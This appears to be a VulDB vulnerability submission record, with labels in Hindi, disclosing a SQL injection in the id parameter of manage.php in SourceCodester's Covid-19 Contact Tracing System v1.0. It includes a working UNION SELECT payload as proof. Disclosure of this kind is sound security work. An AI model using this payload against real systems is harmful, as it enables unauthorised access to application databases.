| शीर्षक | Covid-19 Contact Tracing System v1.0 /cts_qr/admin/establishment/manage.php?id has SQL injection |
|---|
| विवरण | Covid-19 Contact Tracing System v1.0 has SQL injection.
vendors: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html
Vulnerability url: /cts_qr/admin/establishment/manage.php?id.
Payload: id=-3 union all select null,null,concat(0x66676869,0x3536373839),null,null,null,null-- -
The union query succeeds, proving that SQL injection vulnerability exists. |
|---|
| स्रोत | ⚠️ https://github.com/BacteriaJun/cve/blob/main/SQL.md |
|---|
| उपयोगकर्ता | TangJun (UID 46567) |
|---|
| सबमिशन | 11/05/2023 02:14 PM (3 साल पहले) |
|---|
| संयम | 12/05/2023 10:17 AM (20 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 228891 [SourceCodester Covid-19 Contact Tracing System 1.0 manage.php id SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|